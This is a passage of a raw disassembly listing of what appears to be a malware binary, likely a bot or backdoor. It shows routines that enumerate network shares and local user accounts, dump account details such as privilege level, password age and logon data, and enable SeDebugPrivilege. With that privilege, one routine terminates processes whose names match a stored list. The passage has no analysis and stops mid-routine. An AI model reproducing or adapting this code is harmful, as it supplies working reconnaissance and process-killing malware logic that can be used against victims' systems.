sub_417DB1+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_416B67 push [esp+8+arg_4] mov esi, eax call sub_416B67 pop ecx pop ecx push 0 push eax push esi call dword_4E0780 pop esi retn sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCB proc near ; CODE XREF: sub_401CC1+3E87p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_416B67 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 18h loc_416C04: ; CODE XREF: sub_416BCB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4E07F4 mov ebx, eax cmp ebx, esi jz short loc_416C67 cmp ebx, 0EAh jz short loc_416C67 push ebx push ebx call sub_417380 pop ecx push eax lea eax, [ebp+var_210] push offset unk_44FE60 push eax call sub_41B740 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 24h jmp short loc_416CD4 ; --------------------------------------------------------------------------- loc_416C67: ; CODE XREF: sub_416BCB+5Dj ; sub_416BCB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_416CCB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_416C75: ; CODE XREF: sub_416BCB+FCj push dword ptr [esi+10h] call dword_4E0798 test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_416C8C mov eax, offset aNo ; "No" loc_416C8C: ; CODE XREF: sub_416BCB+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B740 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_416C75 xor esi, esi loc_416CCB: ; CODE XREF: sub_416BCB+A2j push [ebp+var_4] call dword_4E092C loc_416CD4: ; CODE XREF: sub_416BCB+9Aj cmp ebx, 0EAh jz loc_416C04 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_416BCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CEC proc near ; CODE XREF: sub_401CC1+3EDBp ; sub_401CC1+3F02p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_416D90 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_416D2E dec eax jz short loc_416D23 dec eax jnz short loc_416D49 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_416E32 add esp, 14h jmp short loc_416D45 ; --------------------------------------------------------------------------- loc_416D23: ; CODE XREF: sub_416CEC+1Dj push ebx push edi call sub_416E11 pop ecx pop ecx jmp short loc_416D45 ; --------------------------------------------------------------------------- loc_416D2E: ; CODE XREF: sub_416CEC+1Aj cmp [ebp+arg_8], edi jz short loc_416D42 push [ebp+arg_8] push ebx push edi call sub_416DB7 add esp, 0Ch jmp short loc_416D45 ; --------------------------------------------------------------------------- loc_416D42: ; CODE XREF: sub_416CEC+45j push 57h pop eax loc_416D45: ; CODE XREF: sub_416CEC+35j ; sub_416CEC+40j ... cmp eax, edi jnz short loc_416D69 loc_416D49: ; CODE XREF: sub_416CEC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4EF3CC push off_44F734[eax*4] push offset unk_44FE88 push esi call sub_41B740 add esp, 10h jmp short loc_416DB0 ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416CEC+5Bj push eax call sub_417380 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4EF3CC push off_44F730[eax*4] push offset unk_44FEA8 push esi call sub_41B740 add esp, 18h jmp short loc_416DB0 ; --------------------------------------------------------------------------- loc_416D90: ; CODE XREF: sub_416CEC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4EF3CC lea eax, [eax+eax*2] push off_44F730[eax*4] push offset unk_44FED8 push esi call sub_41B740 add esp, 0Ch loc_416DB0: ; CODE XREF: sub_416CEC+7Bj ; sub_416CEC+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_416CEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DB7 proc near ; CODE XREF: sub_416CEC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_416B67 push [ebp+arg_4] mov edi, eax call sub_416B67 push [ebp+arg_8] mov [ebp+var_24], eax call sub_416B67 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4E0788 pop edi leave retn sub_416DB7 endp ; =============== S U B R O U T I N E ======================================= sub_416E11 proc near ; CODE XREF: sub_416CEC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_416B67 push [esp+8+arg_4] mov esi, eax call sub_416B67 pop ecx pop ecx push eax push esi call dword_4E077C pop esi retn sub_416E11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E32 proc near ; CODE XREF: sub_416CEC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_416B67 push [ebp+arg_4] mov esi, eax call sub_416B67 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4E08F4 test eax, eax mov [ebp+arg_0], eax jnz loc_4171BF mov eax, [ebp+var_4] test eax, eax jz loc_4171FA push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B740 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_416F4B dec eax jz short loc_416F44 dec eax jz short loc_416F3D mov eax, offset aUnknown_0 ; "Unknown" jmp short loc_416F50 ; --------------------------------------------------------------------------- loc_416F3D: ; CODE XREF: sub_416E32+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_416F50 ; --------------------------------------------------------------------------- loc_416F44: ; CODE XREF: sub_416E32+FFj mov eax, offset aUser_2 ; "User" jmp short loc_416F50 ; --------------------------------------------------------------------------- loc_416F4B: ; CODE XREF: sub_416E32+FCj mov eax, offset aGuest ; "Guest" loc_416F50: ; CODE XREF: sub_416E32+109j ; sub_416E32+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B740 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_408EB9 add esp, 20h pop edi pop ebx jmp short loc_4171EB ; --------------------------------------------------------------------------- loc_4171BF: ; CODE XREF: sub_416E32+35j push eax lea eax, [ebp+var_204] push offset unk_450088 push eax call sub_41B740 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_408EB9 add esp, 20h loc_4171EB: ; CODE XREF: sub_416E32+38Bj cmp [ebp+var_4], 0 jz short loc_4171FA push [ebp+var_4] call dword_4E092C loc_4171FA: ; CODE XREF: sub_416E32+40j ; sub_416E32+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_416E32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417200 proc near ; CODE XREF: sub_401CC1+3F3Fp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_416B67 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 18h loc_41723F: ; CODE XREF: sub_417200+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4E080C cmp eax, esi mov [ebp+var_C], eax jz short loc_4172A0 cmp eax, 0EAh jz short loc_4172A0 push eax push eax call sub_417380 pop ecx push eax lea eax, [ebp+var_218] push offset unk_450104 push eax call sub_41B740 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 24h jmp short loc_41731B ; --------------------------------------------------------------------------- loc_4172A0: ; CODE XREF: sub_417200+62j ; sub_417200+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41732E xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_41731B loc_4172B2: ; CODE XREF: sub_417200+EDj cmp edi, esi jz short loc_4172F1 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_35 ; " %S" push eax call sub_41B740 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4172B2 jmp short loc_41731B ; --------------------------------------------------------------------------- loc_4172F1: ; CODE XREF: sub_417200+B4j lea eax, [ebp+var_218] push offset unk_4500D0 push eax call sub_41B740 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 1Ch loc_41731B: ; CODE XREF: sub_417200+9Ej ; sub_417200+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41732E push edi call dword_4E092C xor edi, edi mov [ebp+var_4], edi loc_41732E: ; CODE XREF: sub_417200+A5j ; sub_417200+120j cmp [ebp+var_C], 0EAh jz loc_41723F cmp edi, esi jz short loc_417346 push edi call dword_4E092C loc_417346: ; CODE XREF: sub_417200+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B740 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_417200 endp ; =============== S U B R O U T I N E ======================================= sub_417380 proc near ; CODE XREF: sub_4169D6+41p ; sub_416BCB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_417432 jz loc_41742B cmp eax, 7Bh ja short loc_4173F7 jz short loc_4173ED cmp eax, 5 jz short loc_4173E3 cmp eax, 8 jz short loc_4173D9 cmp eax, 32h jz short loc_4173CF cmp eax, 35h jz short loc_4173C5 cmp eax, 57h jnz loc_417481 push offset aInvalidParamet ; "Invalid parameter." jmp loc_4174A2 ; --------------------------------------------------------------------------- loc_4173C5: ; CODE XREF: sub_417380+30j push offset aServerNameNotF ; "Server name not found." jmp loc_4174A2 ; --------------------------------------------------------------------------- loc_4173CF: ; CODE XREF: sub_417380+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_4174A2 ; --------------------------------------------------------------------------- loc_4173D9: ; CODE XREF: sub_417380+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_4174A2 ; --------------------------------------------------------------------------- loc_4173E3: ; CODE XREF: sub_417380+21j push offset aAccessDenied_ ; "Access denied." jmp loc_4174A2 ; --------------------------------------------------------------------------- loc_4173ED: ; CODE XREF: sub_417380+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_4174A2 ; --------------------------------------------------------------------------- loc_4173F7: ; CODE XREF: sub_417380+1Aj sub eax, 7Ch jz short loc_417424 sub eax, 7C8h jz short loc_41741D dec eax jz short loc_417413 dec eax jnz short loc_417481 push offset aDuplicateShare ; "Duplicate share name." jmp loc_4174A2 ; --------------------------------------------------------------------------- loc_417413: ; CODE XREF: sub_417380+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_4174A2 ; --------------------------------------------------------------------------- loc_41741D: ; CODE XREF: sub_417380+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_417424: ; CODE XREF: sub_417380+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_41742B: ; CODE XREF: sub_417380+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_417432: ; CODE XREF: sub_417380+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41746B jz short loc_417464 sub eax, 8ADh jz short loc_417496 dec eax dec eax jz short loc_41745D dec eax jz short loc_417456 dec eax dec eax jnz short loc_417481 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_417456: ; CODE XREF: sub_417380+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_41745D: ; CODE XREF: sub_417380+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_417464: ; CODE XREF: sub_417380+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_41746B: ; CODE XREF: sub_417380+B9j sub eax, 8CAh jz short loc_41749D sub eax, 17h jz short loc_417496 sub eax, 25h jz short loc_41748F sub eax, 29h jz short loc_417488 loc_417481: ; CODE XREF: sub_417380+35j ; sub_417380+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_417488: ; CODE XREF: sub_417380+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_41748F: ; CODE XREF: sub_417380+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_417496: ; CODE XREF: sub_417380+C2j ; sub_417380+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_4174A2 ; --------------------------------------------------------------------------- loc_41749D: ; CODE XREF: sub_417380+F0j push offset aNetworkConnect ; "Network connection not found." loc_4174A2: ; CODE XREF: sub_417380+40j ; sub_417380+4Aj ... push offset dword_4EF16C call sub_41B740 pop ecx mov eax, offset dword_4EF16C pop ecx retn sub_417380 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174B4 proc near ; CODE XREF: sub_401CC1+3F84p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41E750 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_4F137C ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41E750 lea eax, [ebp+var_718] push eax call sub_41E720 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4E08B0 test eax, eax jnz short loc_417544 mov esi, offset dword_4EEF68 push offset unk_450400 push esi call sub_41B740 pop ecx pop ecx jmp short loc_41756D ; --------------------------------------------------------------------------- loc_417544: ; CODE XREF: sub_4174B4+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_417380 pop ecx mov esi, offset dword_4EEF68 push eax push offset dword_450428 push esi call sub_41B740 add esp, 14h loc_41756D: ; CODE XREF: sub_4174B4+8Ej mov eax, esi pop esi leave retn sub_4174B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417572 proc near ; CODE XREF: sub_416138+7p ; sub_4175DD+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_4F13B4 ; GetCurrentProcess push eax call dword_4E0884 test eax, eax jnz short loc_417591 leave retn ; --------------------------------------------------------------------------- loc_417591: ; CODE XREF: sub_417572+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4E0860 test eax, eax jz short loc_4175CF cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_4175B8 or [ebp+var_8], 2 jmp short loc_4175BC ; --------------------------------------------------------------------------- loc_4175B8: ; CODE XREF: sub_417572+3Ej and [ebp+var_8], 0FFFFFFFDh loc_4175BC: ; CODE XREF: sub_417572+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4E0908 mov esi, eax loc_4175CF: ; CODE XREF: sub_417572+32j push [ebp+var_4] call dword_4F1324 ; CloseHandle mov eax, esi pop esi leave retn sub_417572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175DD proc near ; CODE XREF: sub_401CC1+6B98p ; sub_417820+74p ... var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4E08C0, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4177F0 cmp dword_4E08A4, ebx jz loc_4177F0 cmp dword_4E07C4, ebx jz loc_4177F0 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_417572 pop ecx pop ecx push ebx push 0Fh call dword_4E08C0 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4177E3 lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4E08A4 mov esi, dword_4F1324 test eax, eax jz loc_4177DE lea eax, [ebp+var_130] push eax push edi call dword_4E07C4 test eax, eax jz loc_4177DE mov edi, dword_4F1340 mov ebx, 1F0FFFh loc_4176A1: ; CODE XREF: sub_4175DD+1F9j xor eax, eax cmp [ebp+arg_10], eax jz short loc_417708 mov [ebp+var_4], offset off_450458 loc_4176AF: ; CODE XREF: sub_4175DD+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call dword_4F1424 ; lstrcmpi test eax, eax jz short loc_4176D7 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_4504B8 jl short loc_4176AF jmp loc_4177C4 ; --------------------------------------------------------------------------- loc_4176D7: ; CODE XREF: sub_4175DD+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_4177C4 push 0 push eax call dword_4F13AC ; TerminateProcess test eax, eax jnz loc_4177C4 loc_4176FE: ; CODE XREF: sub_4175DD+1CDj push [ebp+var_4] call esi ; CloseHandle jmp loc_4177C4 ; --------------------------------------------------------------------------- loc_417708: ; CODE XREF: sub_4175DD+C9j cmp [ebp+arg_C], eax jnz loc_4177AF cmp [ebp+arg_4], eax jz loc_4177C4 push [ebp+var_128] push 8 call dword_4E08C0 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41776F lea ecx, [ebp+var_354] push ecx push eax call dword_4E0774 push [ebp+var_128] test eax, eax jz short loc_417761 lea eax, [ebp+var_234] push eax push offset aSD ; " %s (%d)" jmp short loc_417781 ; --------------------------------------------------------------------------- loc_417761: ; CODE XREF: sub_4175DD+174j lea eax, [ebp+var_10C] push eax push offset aSD_0 ; " %s (%d)" jmp short loc_417781 ; --------------------------------------------------------------------------- loc_41776F: ; CODE XREF: sub_4175DD+15Cj push [ebp+var_128] lea eax, [ebp+var_10C] push eax push offset aSD_1 ; " %s (%d)" loc_417781: ; CODE XREF: sub_4175DD+182j ; sub_4175DD+190j lea eax, [ebp+var_554] push eax call sub_41B740 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h jmp loc_4176FE ; --------------------------------------------------------------------------- loc_4177AF: ; CODE XREF: sub_4175DD+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_4177F7 loc_4177C4: ; CODE XREF: sub_4175DD+F5j ; sub_4175DD+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4E07C4 test eax, eax jnz loc_4176A1 xor ebx, ebx loc_4177DE: ; CODE XREF: sub_4175DD+9Dj ; sub_4175DD+B3j push [ebp+var_8] call esi ; CloseHandle loc_4177E3: ; CODE XREF: sub_4175DD+77j push ebx push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_417572 pop ecx pop ecx loc_4177F0: ; CODE XREF: sub_4175DD+3Aj ; sub_4175DD+46j ... xor eax, eax loc_4177F2: ; CODE XREF: sub_4175DD+241j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4177F7: ; CODE XREF: sub_4175DD+1E5j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call dword_4F13AC ; TerminateProcess test eax, eax jnz short loc_41781B push edi call esi ; CloseHandle jmp short loc_4177F0 ; --------------------------------------------------------------------------- loc_41781B: ; CODE XREF: sub_4175DD+237j push 1 pop eax jmp short loc_4177F2 sub_4175DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417820 proc near ; DATA XREF: sub_401CC1+220Ao var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_450650 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B740 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41787F push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_408EB9 add esp, 14h loc_41787F: ; CODE XREF: sub_417820+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4175DD add esp, 18h test eax, eax jnz short loc_4178A7 push offset unk_450670 jmp short loc_4178AC ; --------------------------------------------------------------------------- loc_4178A7: ; CODE XREF: sub_417820+7Ej push offset unk_450694 loc_4178AC: ; CODE XREF: sub_417820+85j lea eax, [ebp+var_298] push eax call sub_41B740 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4178DF push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_408EB9 add esp, 14h loc_4178DF: ; CODE XREF: sub_417820+9Dj lea eax, [ebp+var_298] push eax call sub_41458A push [ebp+var_14] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi sub_417820 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4178FE proc near ; CODE XREF: sub_401CC1+6B3Ap ; sub_40A938+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push 